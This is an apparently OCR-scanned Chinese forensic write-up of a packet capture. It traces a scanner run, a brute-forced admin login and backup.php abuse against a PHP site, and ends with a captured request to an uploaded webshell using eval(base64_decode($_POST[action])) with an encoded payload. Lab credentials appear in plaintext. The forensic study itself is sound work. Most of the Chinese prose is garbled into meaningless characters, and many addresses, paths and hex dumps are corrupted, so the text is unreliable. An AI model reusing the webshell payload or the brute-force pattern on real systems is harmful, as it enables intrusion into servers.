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202077727 Y3l — WA AT TSI (1)
FT, TRT7T—MRBATHBRNIEIE, RMNMEKEKE, —HL—1T2CHpacptl, —
THER—TIERNEK, BEXKIEABBHONEHKAT, XNMEAE wireshark
Ma<LT, BEBAT, AEHEwveb NANREHMShttpRE, HMETIRELRE, 7
R ERERABwWsHABRE, dRWH<:

http contains wvs

W | http containg ws| | e
e Tirrse Source Destinatian Pratocal Length  Info
-I- 3835 2915.247354  192.168.94.59% 192.168.32.185 HTTP 338 | GET facunetix-wvs-test-for-some—inexistent-file HTTP/].1 B
- 3848 2915,248087  152.168.32.18% 192.168.94.55 HTTP 554 |HTTP/1.1 484 Not Found (text/html}

4024 1920.587813  192.168.94.59 192.168.32.189 HTTP 305 H i

4054 2920.911843  192.168.94.59 192.168.32.189 TCP 306 1142 - 80 [P5H, ACK] Seqel Acksl Win=17408 Lens252

4210 2921.252020  192.168.94.59 192.168.32.189 HTTF 297 GET findex HTTP/1.1

4244 2971.273616  192.168.94.59 192.168.32.189 HTTP 200 GET /sdefault HTTP/1.1

119. 2931.61128@  192.16B.94.59 192.168.32.189 HTTP 665 GET /m/catalog.phpfwvstest=javascript:domxssExecutionSinkll, %22 ' %50%22%3E%ICxs51ag%3E( ) Locks s

128 2931.677116 192.168.94.59 192.168.32.189 HTTP 577 GET ,{n,.rthue_.-’defnu'ttfsty'le.:ss HTTP/1.1

128 2931.758433 192.16B8.94.50 197.168.32.183 HTTP 573 GET /m/theme/default/images/jquery.min.js HTTP/1.1

120 2931.758733  192.168.94.59 192.168,32.1839 HTTP 569 GET /m/themes/default/imagess/global.js HTTR/L1.1

121 2931.871389  152.168.94.59 192.168.32.185 HTTP 569 GET /m/theme/default/images/global. js HTTP/1.1

121 2931.905762  192.168.94.59 192.168,32.18% HTTP 573 GET /m/themefdefault/images/icon_head.png HTTP/1.1

121 2931.905866  192.168.94.59 192.168.32.189 HTTP 573 GET /m/theme/default/images/icon_head.png HTTP/1.1 r

121 2931.5059230  152.168.94.59 192.168,32.188 HTTP 580 GET /m/theme/default/images/icon_arrow_right.png HTTR/1.1

121 2931.905991  192.168.94.59 192.168.32.189 HTTP 574 GET /m/theme/default/images/icon_gotop.png HTTP/1.1

RIBEBTWVS, BE-—EHEMEABSNBLEFTN, AREED, EXZXITBEARABT
wyvsHKRE., NEXTREFHREREERDESNREENIptbil, TUNERKIEipic &
Tk, BEELCARBEMNAEIP, BENGL:

http contains wvs and not ip.addr==192.168.94.59

[ [ http contains wvs and not ip.addr==192.168.94 59
No. Time Source Destination Protocol Length  Info

23

AANEITRZERBEMNBEERE, JUBEREX—TipERERE, Bl TR
ip, ZENDITMERBIN—L,
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20201727 HRFi — RIS (1)
EXRBEAT, EERGEECRBECHNETAN, AMTLESITERSRAZERDN
AR, REEXTIPREMNBEXR, BNBLINAMERRETH, XFET AR EERNRED
Mo IRERHRRR.

BMNATRBEER, KEEFRGEHUNERBUHEME, XERMNAINGL

http contains login and ip.addr==192.168.94.59

[ [http cantains login and ip.addr==102.168.54 59 e e

Mo Tirne: Source Destination Protocol Leﬂg'l.l‘l Irifia

2 2920.710383  192.168.94.59 3% G 354 GET /roller-ui/login. rolTpageTit le=${newh2@java. lang. Integer ($916353 831} HITR/1.1

= 3999 2920.712206  192.16B.32.189 192 168.94. 59 HTTP 531 HTTP/1.1 484 Not Found (text/himl)

4669 2921.718944  192.16EB.32.189 192.168.94.59 HTTP 382 HTTR/1.1 382 Found

6823 2923.263433 192.168.32.189 197.168.94.59 HTTR 444 HTTP/1.1 382 Faund

6475 2924.368127  192.168.94.59 152.168.32.189 HTTP 571 GET fadmin/login.php HTTP/1.1

6958 2924.411918  192.168.32.189 152, 168.94.59 HTTP 360 HTTP/1.1 200 OK [(text/html}

7221 2924.636097 192.168.94.59 192.168.32.189 HTTP 738 POST fadmin/login.php?rec=login HTTF/1.1 (application/x-www-form-urlencoded)

7251 2924.645915 192.16B.94.59 192.168.32. 189 HTTP 501 GET fadmin/templates/public.css HTTP/1.1

7253 2924.645950  192.168.94.59 152.168.32. 189 HTTP 580 GET fadmin/login.php?rec=password_reset HTTP/1.1

TI66 2924.650145  192.168.32.189 192. 168.94.59 HTTP G615 HTTPR/1.1 284 OK (text/css)

7169 2924.665087  192.168.32.189 192. 168.94. 59 HTTP 1198 HTTP/1.1 264 OK (text/html)

7384 2924.676879  192.16B.32.189 192. 168.94.59 HTTP 145 HTTP/1.1 288 OK (text/html}

7367 2924.799758 192.16B.94.59 192.168.32. 189 HTTP SBT GET Sfadmin/images/glebal.js HTTP/1.1

TAT2 2924.799805  192.168.94.59 192, 168.32. 189 HTTR 581 GET fadmin/images/jquery.min.js HTTR/1.1

HTTP TIT POST fadmin/login.phpfrecspassword_reset_post HTTR/1.1  {application/s=www=form=urlencoded)

7438 2924,858331  192.168,94.59 152,168, 32. 189

MFEEEENHIEE D, BB EZ —1/admin/login.phpfiEXR, EMIKRBERESE —

6875 2924.360127 192.168.94.59 192,168.32.189 571 GET /admin/Llogin.php HTTP/1.1

6958 2924.4119183 192.168.32.189 192.168.94.59 HTTP 390 HTTP/1.1 208 OK (text/html)

MBI NE XX ZAMEBELERE—PHIEG RrequestHIEE, T REresponse#f
BE, HIBERMNBERMEIAZ /admin/login.php, REVREZ200. MIXE XE R EEH
E%%ﬁﬂ%%éﬁ%?@?*%ﬁ%ﬁi,ﬁ MM TSR —HiIRTEE, thalge

REVAZT200, BEBERKXHFARAFE. FIMBNAEE—TXTRIEEEFRNABT T,
XFllow HTTP Stream&— T,

HTTP/1.1 208 OK

Date: Wed, B8 Aug 2018 @7:23:32 GMT
Server: Apache/2.2.15 (Cent05)
X-Powered-By: PHP/5.4.45

Expires: Fri, 14 Mar 198@ 20:53:00 GHT
Cache=Control: no-cache, must-revalidate
Pragma: no-cache

Last-Hodified: Wed, @8 Aug 2018 B7:23:32 GMT
Content-Length: 1455

Connection: close

Content-Type: text/html; charset=utf-&

<!DOCTYPE html PUBLIC "=//W3C//DTD HTML 4.81 Transitional//EN" "http://www.w3.org/TR/html4/ loose.dtd">
=html=
=heads
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"=
<tAt1e>DOUPHP ..ouvernese e/titles
=meta name="Copyright” content="Douco Design.” />
=link href="templates/public.css" rel="stylesheet" type="text/css">
=s5Ccript types"text/javascript"s>
function refreshimage{} {

var cap = document.getElesentById( "vcode");

cap.src = cap.src + "7

}
<fscript>
</head=
<body=
<div id="login">
«div class="dologo"></div>
=form action="login.php?rec=login" method="post"=
<yl=
<li class="inplLi"=<b=>... </b=<input type="text” names"user_name" class="inplLogin®s=</1li=
<1i class="inplLi"><b>.........</be<input type="password" name="password" class="inplLogin"></1li>
<!— <li class="captchaPic">
=div class="inpLi"s<b>.....s0uese.=/b=<input type="text" nm-"cuntcm class="captcha®>=/div>
=img id="vcode™ src="../captcha.php” alt=".....csuusensus * border="1" onClick="refreshimage()™ title="....coccesosnssnounsnnnnnnnnasnnssnnsnassssns "y
<fli>

—_—
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BFIAZXTEREEBHAST, BMNANUKEET, XTHMUEEEN, HEATMUNHBEREEE
FiUT . MUABXEMERTIE? H&E, BIMNEAFTEEEFHMNBIER, FE:
“BEREBEHMNEE. BEWASWN, RERUBFHEHMEENEAML, AAMBERESR
REWESH#It N /admin/login.php,

E=|g kS

REEERtLAKSERTRER?

E—mEd, HAOMETNGENEatE, NE, HMNTULEIZEEMLE THE-TX
TRIEERAINSIE, BHEPOSTRRKSEBNHEE., XEEFIE—TERN
BE, REXTRERE T,

N [ http.request. method= =POST [] " | Eepeess
Mo, Time Source lemiwn Protocol I.iﬂwﬂ' info
36 54.823928 192. 168. 3 2. 1B ) 3 POST fadmin/login.php?rec=legin HTTP/1.1 (application/x—www-Torm-urlencoded)

498 358, 014913 192.168.94. 233 192 168,32, 189 HTTP ?53 POST fadmin/login.php?rec=login WTTP/1.1 (application/x—www-form-urlencoded)

872 41B.854289 192.168.94.233 192.168.32.189 HTTP 1748 POST fadmin/article.php?rec=update HTTR/1.1

1245 6BB.7T54336 192.168.94.233 192.168.32.189 HTTP 1381 POST fadnin/page.php?rec=update HTTP/1.1 (application/x—www-form-urlencoded)

1473 723.331389 192.168.94.233 192.168.32.189 HTTP 1103 POST fadmin/page.php?recsupdate WTTP/1.1 (application/s=www=form=urlencoded )

1967 962.842244 192.168.94.233 192.168.32. 169 HTTP 1898 POST fadmin/backup.php?recsbackup HTTP/1.1 (application/x-www-form-urlencoded)

3089 2528.718264 192.168.94.59 192,168.32. 189 HTTP 426 POST /console/j_security_check HTTR/1.1 (application/x-wew-form-urlencoded)

5229 2522.429947  192.168.94.59 192.168.32.189 HTTR 425 POST /_vti bin/shiml.exe?_vti_rpc HTTR/1.1 (application/x-wwe=form=-urlenceded])

5318 2922.529998 192.168.94.59 192,168.32.169 HTTP 426 POST /_vti bin/_wvti sut/author.dll HTTP/1.1 (application/x-www-form-urlencoded)

GBOE 2024.151127  192.168.94.59 192,168, 32,189 HTTP 324 POST f HTTR/1.1

T221 2024.636097 192.168.94.59 192.168.32.1689 HTTP 738 POST fadmin/login.php?recslogin HTTP/1.1 (application/x-www=form-urlencoded)

T375 2924.665638  192.168.94.59 192, 168. 32. 189 HTTP 453 POST /mt/mt-upgrade.cgi HTTP/1.1 (application/x-www—form—urlencoded)

7388 2924.680086 192.168.94.59 192,168.32.189 HTTP 463 POST fogifmt/mt-upgrade.cgi MTTP/1.1 (application/x-www—-form-urlencoded)

TA3E 2024.850331 192.168.94.59 192,168.32. 169 HTTP TI7T POST fadmin/loegin.php?rec=password_reset_post HTTR/1.1 (application/s-www-form-urlencoded)

TBIS 2925.262286 192.168.94.59 192.168.32.189 HTTP 406 POST /phpMofdmin/moadnin. php HTTP/1.1  (applicat ion/x—www—Tform-urlencoded)

POST /admin/login.php?rec=login HTTP/1.1

Host: 192.168.32.189

Connection: keep-alive

Content-Length: 72

Cache-Control: max-age=0

Origin: http://192.168.32.189

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84
Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,=*/*;q=0.8
Referer: http://192.168.32.189/admin/login.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=9c@akmaoloop7t2itcss7dmvm2

user_name=%E4%BA%BA%E4A%BA%BB&pas sword=hr123456&s5ubmit=%E7%99%BB%E5%BD%I5HTTP/1.1 302 Found
Date: Wed, ©8 Aug 2018 86:35:42 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/5.4.45

Expires: Fri, 14 Mar 1980 20:53:0@ GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Last-Modified: Wed, @8 Aug 2018 06:35:42 GMT
Location: http://192.168.32.189/admin/index.php
Content-Length: @

Connection: close

Content-Type: text/html; charset=utf-8

AAUNEIXITNEEEEMESREIS02HIEE IR /admin/index.phpTiE, 1%
MREZEFHRINT ., TSR RETEEZNGE? AEFAEETEATHREENER, EXTE
ZENTARDH—T, TEBEMAETSZSORERIEK,
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R 192.158.94.233 and hilp contairs.
P, Tirre Bource Durtiration Prgtacol Lengith | Infe
7335. J018-PE-08 16:11:45.6B3799  192.168.94.233 192,168.32,189 HTTP 733 POST fadmin/login.php?réc=10g9in HTTPS1.1 (applLication/x-wiw-Torm-urlencoded)
4938 2918-PB-88 14:41:17.797672 192.168.94.233 192.168.32.189 HTTP 753 POST fadmin/login.php?rec=login HTTR/1.1 (application,/x-www-Torm-urlencoded)
4 86 2018-08-08 14: 2.606687  192.168.94.233 192.168.32.189 HTTP 753 POST sadmin/login.php?rec=login HTTP/1.1 (application/x-www-form-urlencoded)

ERBERRABZR, MEBXRERNKSEBHER, IREREE, ALt ERER
TZEMEBELRBTHEENIKS., BREBFRIUZINMEB LSS

N e 103 90804 793 and top contaima GET

L3 Tievs BaRCE ~ Dustiration Probacel Langth s
1852 2018-98-08 192,168.94,233  192.168.32.189  HTTP 454 GET /adain/images/|query.autatextares. js HTTP/1.1
1846 2018-88-08 192,168.94,233  192.108.32.189  WTTP 807 GET /adain/article_category.php MTTP/1.1
1881 7018-88-08 192,168.94.233  192.168.32.189  HTTP 687 GET /adain article php HTTR/1.1
1894 2016-08-08 192,168.94,233  102.168.32.189  HTTP 454 GET /adain/images/|query.dutatextares. s HTTP/L.1
1908 2018-88-08 192,168.94,233  192,168.32.189  HTTP 612 GET /adain/article.php?rec=edithis=8 HITP/1.1
1521 2018-98-08 192.168.94. 233 192.168.32.189 HTTP 488 GET /fadain/images/jquery.autotextarea.js MTTP/1.1
1937 2018-88-08 192,168.32.189  HTTP /adain/Backup. php HTTP/1.1

192, 158, 94. 233
1

1 # in/Bac plrec=restore 1.1
2014 2018-98-08 192.168.94.233  192.168.32.189  WTTP 628 GET fadain/backup.php HTTR/1.1
2031 2018-06-08 192.168.94.233  192.168.32.189  HTTP 588 GET /adain/Backup.phplrecsrestors HTTP/1.1
2049 Z015-06-08 192.166.94,233  192.168.32.189  HTTP 609 GET /adain/article.php HTTP 1.1
Jeb? 2018-08-08 192,168, 94. 733 192.168.32.189  WTTP 434 GET fadain/images/jquery.autotextarea.js HTTP/1.1
2083 2018-28-08 192.168.94.233  192.168.32.189  WTTP 597 GET /adain/mobile.php HTTP/1.1
2100 2015-06-08 192.166.94.233  192.166.32.189  HTTP 686 GET /adain/product_category.php HTTP/1.1
2116 2018-BH-08 192.168.94,233  192.168.32.189  HTTP 686 GET /adain/backup.php HTTP/L.1
2133 2018-08-08 192.168,94.233 192.168.32.189  WTTP E28 GET fadain/backup.php?rec=restore HTTPY1.1
2153 I01E-08-08 29~ 182.068,94,233  192.166,32.189  HTTP 687 GET /adain/index.php HTTP/1.1
2185 201E-BH-08 14:51:46. 192.166.94.733  102.166.32.189  HTTP 564 GET farticle_category.php?id=2 HTTR/1.1

+ Frame 1981: 672 bytes on wire (3376 bits), 672 bytes captured (5376 bits)

+ Ethermet II, Src: Mangzhou_39:42:ed (b@:f9:63139:42:ed), Dst: Veware_cb:9fi85 (B8:ec:29:chigf
v Intermes Provocod Version 4, Srci 192,168,.94.233, Dsu: 192,168.32. 180

+ Transmission Control Protocol, Src Port: 55392, Dst Port: B8, Seq: 1, Ack: 1, Len: 618

©E5)

r
Host: 192,168, 32. 1895 rn
Connection: keep-alivewrin
Upgrade-Insecure-Requests: 1Lvr\n
User=Agent: Mozilla/5.8 (Windews NT B.1: Wind; xB4] Applewedfit/537.386 (KHTML, Like Geckol Chrome/6B.2.3440.84 Safari/337.36\rwn
Accept: texy/himl,apelication/xhuelexnl, application/emliq=9, 9, insge fwebp, Lnage /apeg, /= q=0. 81 rin
Referer: Rttpi//192, 168,32, 189/ sdain/backup. php? rec=backupyrin
Accept-Encoding: gzip,. deflatehrun
Accepi=Language: zh-IN,zh;q=, 3 rin
» Cookie: PHPSESSID=n3rnlGGudugesfiqsGdoupdbiTrin
wrn
[Full remsest URT: httn://192.188. 32, 150 adein/backun. oho? recshackunfvnl sizes?R4E5totalsizes34BAT i1e_names0l#]ARASET 14543 35  phrnsta laRSInG Ak e ids 1151 i leids2Estart fross1881

GSh @@ 8c 29 cb 97 65 BO 19 63 39 42 ed 6 20 45 09 ] 9B
BEL0 B2 92 4 Ba 40 00 Tf 06 &8 ed D A8 e &9 of af 0@ -
P20 0 bd d7 a2 8@ 58 29 f31 @ 53 38 95 3f b7 S0 18 P S8-7-P
G @1 00 92 d7 0 B0 4T 45 54 20 I7 61 64 6d 60 Ge GE T jagmin
BE4D 2f 62 61 63 BB TS V@ 2¢ M 68 T@ 3T T2 65 63 34 /Backup. phpirecs
B850 B2 61 B3 BD 73 T J8 TH 6T Bc 37 73 69 7a 65 30 Dackupiv ol_size=
BEED 32 30 34 30 26 T4 6F T4 61 6 T3 69 Ta 65 30 33 20MEETOT alsipe=3
BET0 34 3R 26 66 B9 6Bc 83 ST Ge 61 6d 63 5d 44 32 38 aBAfile_ nase=D2d
BEED 31 38 3@ 38 3@ 38 34 31 34 35 38 33 33 26 T4 Bf  1E@SATL 4503340
P90 6B 65 G 30 66 61 31 61 30 35 32 62 26 M 61 62 ken=Tals B52bETAD

IR X T IpMIBR KM IER T — P backup.phpXth, EFEX T X backupXH &
BIMLERRE,

. o! T Jadmin/Backup.php?rec=bac Slze=
192.168,94, 233 192.168.32. 189 HITP 673 GET Jaomin/Backup.phpirec=restore HTTP/1.1
192.168.94. 733 192, 168.32.189 HTTP B2 GET Jadmin/Backup.php HTTR/1.1
192, 168,94, 233 192, 168,32, 189 HTTP 6&8 GET /admnin/bhckup.php?rec=restare HTTP/1.1
192, 168,94,733 187, 168.32.189 HTTP 689 GET fadminfarticle.php WTTR/1.1
192, 168,94, 733 192,168,372, 189 HITF 686 GET /admin/backup.php HTTP/1.1
192, 168,94.733 192, 168,32, 189 HTTP 688 GET Jadmin/Backup.phpirec=restare HTTP/1.1
192.188.94, 233 192.1688,32.189 WITP B27 GET /admin/index.php HTTP/1.1
192. 168,94, 233 197.168.32. 189 HITP 632 GET Jaomin/Backup.php HTTP/1.1
IHTTP request 1/1]
File Data: 485 bytes
v HTML Form URL Encoded: application/x—www-fors-urlenceded
= Form Ltesm: “chkall" = “check”
» Form item: o
» Form Ltes:
= Form item:
» Form item;:
¢ Form
» Form
= Form
» Form
» Fors
» Form ‘dou_product_category”
» Form ites: “tables(]” = “dou_show"
= Form ites: "file_name" = "D23182BRET143033"
» Form wol_size® haaE=
= Form “token” = "fala@5in"
+ Form totalsize” = "348"
= Form ites: "subait" = "RETEE"
BO00 @ Bc 29 cb 97 B5 D@ 79 63 39 42 ed 00 00 45 90 1 €38 E
PO1E B4 34 af B4 20 OB 7T A6 a7 48 c0 aB Se £9 0 a8 409 W~
@920 b ba d7 al @@ 58 BT be 2 b2 77 13 @5 21 5@ 18 P ip
2030 B 8@ 5b 44 8@ BB 50 47 53 54 70 If 61 64 6d &9 - [0 -PD 5T Sfadad
P94 Be 2F 62 61 63 6b TS TB 2e T B8 T 31 T2 &5 &3  n/backup .php?rec
#2958 34 62 61 63 60 T5 7O 20 48 54 54 5@ 2T 31 Ze 31  =hackup HTTP/L.1
Bope Bd Ba 48 G6f 73 74 32 38 31 39 32 Ze 31 36 38 e --Most: 192,188,
BOTE 3F 32 2e 31 38 39 0d @A 43 6T 6e 6 65 63 T4 9 32.189 - Comnectl
POER BT Be 3a 20 6b 65 65 TR 20 61 6C 69 T6 65 00 B2 on: keep -alive
2290 43 6F Ge 74 65 Be 74 2d 4c 65 fe 67 T4 68 3a 28 Content- Lengthi

C=E
Sourow | Destination Protocel  Length | Infn
192, 168,94, 733 192,168,32. 189 HITP 546 GET /admin/backup.php HTTP/1.1
192.168.54,733 182, 168.32. 189 HTTP 587 GET fadminfarticle.php HTTP/1.1
192, 168,94, 233 192,168, 32. 189 WITP 811 GET /admin/Backup.php HTTP/1.1
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fE#RE, BRI ip

M BERLEE, REXITEZREBERMNEINA—T, REXKKNEERERNIEF2

WFE— BT ISR (1)
X B AN backup X B POSTIE >

, MIBERBABTRIMAUNEFTLERID
backup.php X4 HNINERHITHEEEMN, BRARXREBEEXTERERNTENRER
EEMTLARENTAN. FEMBENBER, #BRABEEBNEFIBFX,
EEENATERMER.

—RREOEER G R

KEEZHN, TEEFREABIKS302, BESBkiEHIEA/admin/index.php,

[I [ hittp.response.code==302 and http.location contains "fadmin/index.php”

No. ~ | Time
89 2018-08-@8 14:35:42.630162
493 2018-08-08 14:41:17.813837
7289.. 2018-08-08 16:03:39.413481
«— 7335. 2018-08-08 16:11:45.569664
7335.. 2018-08-08 16:11:45.7@9843

REBTIpEXRNREE TEE, HINBZXMWME 7192.168.94.2332EFRF,

Source

192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189
192.168.32.189

Destination
192.168.94.233
192.168.94.233
192.168.94.59
192.168.94.59
192.168.94.233

Protocol

HTTP
HTTP
HTTP
HTTP
HTTP

Length Info

444 HTTP/1.1 302 Found
444 HTTP/1.1 382 Found
444 HTTP/1.1 302 Found
444 HTTP/1.1 382 Found
444 HTTP/1.1 382 Found

LABHIBITIHMNEZZEREET, KREE-TXTEZMEANKSES.

POST /admin/login.php?rec=login HTTP/1.1

Host: 192.168.32.189
Connection: keep-alive
Content-Length: 72
Cache-Control: max-age=@
Origin: http://192.168.32.189
Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.8 (Windows NT 18.@; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.8.3396.62

Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,image/apng,*/+;0q=0.8
Referer: http://192.168.32.189/admin/login.php

Accept-Encoding: gzip, deflate
Accept-Language: zh-(CN,zh;q=0.9

Cookie: PHPSESSID=am29gr8kthdfcgbaoeefpggvid

user_name=admin&password=admin%21%48%23pass123&submit=%E7%99%BB%E5%BD%95HTTP/1.1 382 Found

Date: Wed, @8 Aug 2018 @8:11:45 GMT
Server: Apache/2.2,15 (Cent0S)
X-Powered-By: PHP/5.4.45

Expires: Fri, 14 Mar 1980 20:53:00 GMT

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Last-Modified: Wed, @8 Aug 2018 @88:11:45 GMT
Location: http://192.168.32.189/admin/index.php

Content-Length: @
Connection: close

Content-Type: text/html; charset=utf-8

https://mp.weixin.qq.com/s/wénvy YFsTaZqE2AcoTvEIA
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(W ipsre==192.168.84.59 and hitp.reguest.uri contains “login.phptrec=login® and http. requast method==POST | Exprassicn..
o, Time: ~ | Source Dastination Protocol  Length  Info
329. 2018-88-08 15:24:46.425730 192,168.94.59 192. 168, 32.189 HTT# 527 POST fadmin/login.php?recslogin HTTP/1.1 (application/x-wew=form-urlencoded)
338. I018-88-0B 15 46.538419 192.168.94.59 192.16E.32.189 HTTP 528 POST /admin/login.php?rec=login HTTP/l.1 (application/x-wew-form-urlencoded)
338_ 201E-88-0B 15 :46.658881 192.1G6B.94.50 192.168.32.189 HTTP 541 POST fadmin/login.php?réc=login HTTR/L.1 (application/x—wiw-Torm-urLencaded )
331 2018-88-0B 15:24:46.728665 192.168.94.59 192,168, 32,189 HTTP 528 POST fadmin/login.php?rec=login HTTP/1.1 (application/x-wew-form-urlencoded)
331. 2018-08-08 15:24:46.736458 192.168.94.53 192,168, 32.189 HTTP 835 POST Jadmin/login.php?rec=login HTTP/1.1 (application/x-wew—form-urlencoded)
331. 2018-88-08 15:24:46. 736587 192.168.94.59 192. 168, 32.189 HTT# 584 POST fadmin/login.php?rec=login HTTP/1.1 (application/x-wew=form-urlencoded)
332. I018-88-0B 15 46, 796128 192.168.94.59 192.16E.32.189 HTTP 513 POST /admin/login.php?rec=login HTTP/l.1 (application/x-wew-form-urlencoded)
332_ 201E-88-0B 15 :46.899076 192.16B.94.50 192.168.32.189 HTTP 528 POST fadmin/login.php?réc=login HTTR/L.1 (application/x—wiw-Torm-urlencaoded)
333  2018-88-08 15:24:46.957640 192.168.94.58 192,168, 32,189 HTTP 549 POST Sfadmin/login.php?rec=login HTTP/1.1 (application/x-wew-form-urlencoded)
334.  2018-08-08 15:24:47.031413 192.168.94.53 192.168,32.189 HTTP 535 POST fadmin/login.php?recslogin HTTR/1.1 (application/x-www-form-urlencoded)
334. Z018-88-08 15 47.872892 192.168.94.59 192. 168, 32.189 HTT# 514 POST fadmin/login.php?rec=login HTTP/1.1 (application/x-wew=form-urlencoded)
335. Z01B-88-88 15 47.149419 192.168.94.59 192.16E.32.189 HTTP 438 POST fadmin/login.php?rec=login HTTP/L.1 (application/x-wew-Torm-urlencoded)
335. 201E-88-0B 15 :47.283817 192.16B.94.59 192.168.32.183 HTTP 511 POST fadmin/login.php?réc=login HTTP/L.1 (application/x—www—-Torm—urlencaded)
336 2018-98-08 15:24:47.279797 192.168.94.59 192.168.32.185 HTTP 522 POST /admin/login.php?rec=login HTTP/1.1 (application/x-wew-form-urlencoded)
336. 2018-08-08 15:24:47.343378 192.168.94.59 192.168.32.189 HTTF 507 POST fadmin/login.phpirecslogin HTTR/1.1 (application/x=wew=form=urlencoded)
337. I018-88-08 1 47.402648 192.168.94.59 192.168.32.189 HTTP 586 POST fadmin/login.php?rec=login HTTP/1.1 (application/x-wew-form-urlencoded)
337. 2018-83-08 1 47.492760 192.168.94.59 192.16E.32.189 HTTP 522 POST /admin/login.php?rec=login HTTP/l.1 (application/x-wew-Torm-urlencoded)
333. 201E-88-0B 15 :47.535973 192.16B.94.59 192.168.32.183 HTTP 543 POST Sadmin/login.php?rec=login HTTP/L.1 (application/x—www—Tors-urléncaded)
333  2018-08-08 15:24:47.579948 192.168.94.59 192.168. 32,189 HTTF 519 POST Sfadmin/login.php?rec=login HTTP/1.1 (application/x-wew-form-urlencoded)
339. 2018-08-08 15:24:47.647231 192.168.94.%9 192.168.32.189 HTTF 518 POST fadmin/login.phpirecslogin HTTR/1.1 (application/x=wew=form=urlencoded)
339. 2018-88-08 15:24:47.658270 192.168.94.59 192.16E.32.189 HTTP 512 POST Jadmin/looin.oho?rec=loain HTTF/l.1 (apolication/x-wew-form-urlencoded)

LooKle pair: FHPSERSIU=SL0HgOUET 0050 ) LL /TPt Jorns
Cookie pair: clientspc
Host: 192.168.32.18%\r\n
Connection: Keep-alive\r\n
hecept-Encading: gzip,deflate\rin
User-Agent: Mozilla/S.8 (Windows NT 6.1; WOWE4) ApplewWebKit/537.21 (KWTML, like Gecko) Chrome/41.8.2228.8 Safari/537.21%rn
Accept: s/e\riyn
lat
[Full request URI: http://192,168,32,189/adnin/ login. php?rec=1ogin]
[HTTP request 1/1]
[Response in frame: 72691

Bc 29 cb 9f 85 bR f9 63 35 42 ed OB BB 45 88 ) - ciB---E
cc 72 38 40 9@ 7f 06 B6 aa c® aB S5e 3b c@ aB rB@ 3
bd @5 ad @@ 5@ &3 fb 13 1c 24 9e 21 1T 50 1B susafles aaifefafp

44 90 o5 00 00 52 4f 53 54 20 X 61 64 6d 6% D PO 5T Sadmi
21 6¢ 6f 67 69 Ge 2e 7O BB 7@ 3f 72 65 63 3d  n/login. phpirec=
6f 67 69 Ge 20 48 54 54 58 2f 31 Ze 31 8d Ba login HT TR/1.1--

b B © Packety: 736009 - Displined; 2496 (0.3%) o Prgfl

Bk —TFTEXTIpKENERIBER, RAFEAENERBER, EXNINAEEM
BERIBEKRF, BLMIET, REERIERBBENANRKE Tadminlk
SHER, AGEAXTKSBEBERRANEEARTERIT T -—FTHNRE.

P webshell

EELEEZENwebshelIXHEREMHL? ATZHA?

MelEZEMNEEZME, XTWIEEPHPRIWIE, A EfEHMwebshellth ATBAS Mphp
ERX MM TR, RIFEPHP—GEwebshell WIFEALEREERIMT 4.

N lip.src==192.168.94.59 and http contains “eval” B - sl

Mo Time: Source Dastination Pratocal Length  Infa
675.  4688.156156  192.168.94.59 192.168.32. 1689 HTTP 285 GET fonloadseval HTTR/1.1

Jaa 4E92. 406384  192.16E. 9 192.168.32. 189 322 GET /ScEbook_Admin/Statistics/evaluate.aspx HTTP/

5636 657495 POST /images/article/s o {application/x=-www=Fforn=-urlencoded
733, 5939.485478 192.168.94.59 192.168.32. 189 HTTP 795 POST Simages/articlefa.php HTTP/1.1 (application,x=-www=form=urlencoded)
733.  5041.344607  192.168.94.59 192.168.32.189 HTTF 795 POST /images/articlefa.php HTTP/1.1 (application/x-www-form-urlencoded)
7340 5982.587E13  192.168.94.59 192.168.32.189 HTTP 453 POST /imeges/articlefa.php HTTP/1.1 (application,x-www-Torma-urlencoded)
T34 5992.0826492 192.168.94.59 192.168.32. 189 HTTP TT9 POST [fimagesfarticlefa.php HTTP/1.1 ({applicat ion/x-www-Tfora—urléencoded)
734.  5O92.026490  192.168.94.59 192.168.32.189 HTTP 779 POST /fimagesfarticlefa.php HTTP/1.1 {application/x-www-forn-urlencoded)
734 BRB4.TEESTS  192.168.94.59 192.168.32.189 HTTP TE1 POST Simages/farticlefa.php HTTR/1.1 (application/x=-www=form=-urlencoded)
734, E0BG.27E327  192.168.94.59 192.168.32.189 HTTF 761 POST /images/articlefa.php HTTR/1.1 ({application/x-www=form-urlenceded)
734, ER3Z.454295  192.16B.94.59 192.168.32.189 HTTP 731 POST /imagesfarticlefa.php HTTP/1.1 (application, x-wew-Tore-urlencoded)
T34 6R34.727114 192.16B.94.59 192.168.32. 189 HTTP 795 POST /imsges/farticlefa.php HTTP/1.1 (application, s—www-fora—-urlencoded)

BRI T GETE RN ZZAERTHN, HRERBLPOSTIEXRNa.phpXH, RE—T
REXHBNBERRAETNELOE, EEEENTENwebshelliBEK.

[l
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POST /images/article/a.php HTTP/1.1

User-Agent: Java/1.8.8_171

Host: 192.168.32.189

Accept: text/html, image/gif, image/jpeg, *; g=.2, #/%; g=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 707

1234=@eval.
(basebd4_decode($_POST[action]));&action=0GluaV9zZXQoImRpc3BsYX1fZXIyb3]zIiwiMCIp0@BzZXRTdGLtZVIsaWlpdCgwKTtAC2VBX21h
Z21jX3F1b3R1c19ydW50aWl IKDAPO2V]jaG8oIli@%2BfCIp0zskRDIIYXNINGRTZGV]b2RIKCRFUEITVFsiejEiXSkTIEYI0GIwIWS kaXIoJEQpO2 ImKC
RGPT1OVUxMKXt1Y2hvKCIFULIPUjovLyBOYXRoIESvdCBGb3VuZCBPciBObyBOZX]1taXNzaWIuISIp0311bHNleyRNPUSVTEWTIEWITIVMTDt3aG1sZS
